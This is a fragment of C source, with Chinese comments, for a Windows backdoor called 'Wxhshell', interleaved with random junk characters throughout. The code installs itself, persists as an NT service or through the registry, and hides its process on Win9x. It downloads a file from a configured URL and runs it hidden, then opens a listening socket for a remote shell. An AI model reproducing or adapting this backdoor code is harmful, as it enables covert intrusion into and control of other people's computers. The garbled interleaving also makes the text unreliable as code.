4Q}- if(hProcess==NULL) return 0; U2;_{n*g% `rvS(p[s HMODULE hMod; @,$>H7o char procName[255]; @I9A"4Im unsigned long cbNeeded; )KG.:BO< y6fYNB if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WOh?/F[@u i6aM}p< CloseHandle(hProcess); [&51m^ 04o(05K if(strstr(procName,"services")) return 1; // 以服务启动 arm26YA-, D/v?nW return 0; // 注册表启动 EW]rD } $/K<hT_ Lc=t,=OhGe // 主模块 tmKHT int StartWxhshell(LPSTR lpCmdLine) ^DD]jx { }Ge$?ZFH SOCKET wsl; ",Mr+;;:[ BOOL val=TRUE; 3v\}4)A[ int port=0; +xp)la. struct sockaddr_in door; *|Tx4Qt :>f}rq if(wscfg.ws_autoins) Install(); JD9)Qelw^$ ZwM(H[iqL port=atoi(lpCmdLine); pC^d-Ii 3s;^p,9
Y if(port<=0) port=wscfg.ws_port; EV/DJ$C } }Y:V&4DW WSADATA data; O |!cPB: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xh+;$2l.B uVN2}3!)Y if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?k@^U9?R setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]Q$S ei5 door.sin_family = AF_INET; lha)4d door.sin_addr.s_addr = inet_addr("127.0.0.1"); zcGmru|k door.sin_port = htons(port); nvbzC tC a@!(o )> if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !y+uQ_IS@ closesocket(wsl); 41g
"7Mk return 1; Y
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Em ]n}aePl}oU if(listen(wsl,2) == INVALID_SOCKET) { #zRHYZc'T| closesocket(wsl); j<'ftKk return 1; K
@RGvP } 6%it`A8} Wxhshell(wsl); ijP`fM8 WSACleanup(); dIW@L ml@;ngmp. return 0; -U*J5Q ;* QK^ # } 1oe,>\\ ncqAof(/ // 以NT服务方式启动 )pSA|Qt N VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JR8|!Of@B { zZ6m`]{B9? DWORD status = 0; By waD? DWORD specificError = 0xfffffff; djH&)&q! q
#mBNe62p serviceStatus.dwServiceType = SERVICE_WIN32; kDol 1v` serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?Z2`8]-E serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,Qx]_gZ` serviceStatus.dwWin32ExitCode = 0; )r^vrCNy> serviceStatus.dwServiceSpecificExitCode = 0; ~7 `,}) d serviceStatus.dwCheckPoint = 0; p#).;\M serviceStatus.dwWaitHint = 0; /poGhB1k :s6aFiz hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }4N'as/ZO if (hServiceStatusHandle==0) return; $C.a@gm 7HkFDI()1 status = GetLastError(); U0t|i'Hx if (status!=NO_ERROR) ?z`={oN { v^ "qr?3V serviceStatus.dwCurrentState = SERVICE_STOPPED; <o/!M6^: serviceStatus.dwCheckPoint = 0; TG[u3Y4 serviceStatus.dwWaitHint = 0; <l(n)|H1P serviceStatus.dwWin32ExitCode = status; D'<L6w` serviceStatus.dwServiceSpecificExitCode = specificError; [0EWIdT*b SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vm|KL3}NRv return; w i[9RD@ } UAPd["`)y Q66 + serviceStatus.dwCurrentState = SERVICE_RUNNING;
V1B!5N< serviceStatus.dwCheckPoint = 0; T?Kh' serviceStatus.dwWaitHint = 0; ("\{=XAQ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Mh*r)B~%[ } ~v%6*9 tPQ|znB| // 处理NT服务事件,比如:启动、停止 XHekz6_ VOID WINAPI NTServiceHandler(DWORD fdwControl) kN.;;HFq# { *#'j0;2F switch(fdwControl) "Yh;3tI4* { +=jS! case SERVICE_CONTROL_STOP: kh9'W<tE serviceStatus.dwWin32ExitCode = 0; W?5') serviceStatus.dwCurrentState = SERVICE_STOPPED; ZA+dtEE=f9 serviceStatus.dwCheckPoint = 0; (/uAn2 serviceStatus.dwWaitHint = 0; AY{KxCrb^ { k?Z:=.YW SetServiceStatus(hServiceStatusHandle, &serviceStatus); TY)QE } gYD1A\ return; T[Zs{S case SERVICE_CONTROL_PAUSE: }9+;-*m/ serviceStatus.dwCurrentState = SERVICE_PAUSED; }3^m>i*8 break; Yy88 5 case SERVICE_CONTROL_CONTINUE: sqrLys_S serviceStatus.dwCurrentState = SERVICE_RUNNING; (da`aRVDp break; QkBw59L7 case SERVICE_CONTROL_INTERROGATE: 0n{.96r0R break; Z#Mm4(KNh }; -NXxxK SetServiceStatus(hServiceStatusHandle, &serviceStatus); &]DB-t#\ } G
IN|cv= $AZYY\1 // 标准应用程序主函数 -g@!\{ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <{isWEW9]3 { iM@$uD$_Q2 {4D`VfX_ // 获取操作系统版本 _K o#36.S OsIsNt=GetOsVer(); ;cXw;$&D GetModuleFileName(NULL,ExeFile,MAX_PATH); v>_@D@pr XVqOiv) // 从命令行安装 _#u\ar) if(strpbrk(lpCmdLine,"iI")) Install(); vkIIuNdDlx d5$D[,`1 // 下载执行文件 E+aePo U if(wscfg.ws_downexe) { wM+1/[7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5dePpF D5 WinExec(wscfg.ws_filenam,SW_HIDE); @@AL@.* } C^L+R7 FJ_7<4ET if(!OsIsNt) { ;Z]Wj9iY // 如果时win9x,隐藏进程并且设置为注册表启动 `,qft[1 HideProc(); P.y +jyu StartWxhshell(lpCmdLine); 3YHEH\60^ } z&6_}{2,] else gQ_<;'m)2 if(StartFromService()) N&HI)X2& // 以服务方式启动 jE*{^+n
StartServiceCtrlDispatcher(DispatchTable); wXIRn?z else A7%d // 普通方式启动 k =5k)}i StartWxhshell(lpCmdLine); F\m^slsu7= pF{jIXu return 0; gXxi; g }
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